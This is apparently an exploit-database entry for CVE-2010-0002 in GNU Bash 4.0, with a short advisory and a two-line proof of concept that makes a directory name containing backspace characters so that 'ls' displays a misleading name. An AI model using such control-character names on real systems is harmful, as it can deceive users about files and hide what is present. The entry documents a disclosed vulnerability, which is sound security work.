[] NeoSense

GNU Bash 4.0 - 'ls' Control Character Command Injection

Author: Eric Piel
type: local
platform: linux
port: 
date_added: 2010-01-13 
date_updated: 2014-05-26 
verified: 1 
codes: CVE-2010-0002;OSVDB-61790 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/37776/info

GNU Bash is prone to a command-injection vulnerability because it fails to adequately sanitize control characters in the 'ls' command.

Attackers can exploit this issue to execute arbitrary commands in a bash terminal; other attacks may also be possible.

The following example is available:

1. mkdir $(echo -e 'couc\x08\x08asd')
2. ls

Displays:
coasd/

Expected:
couc??asd/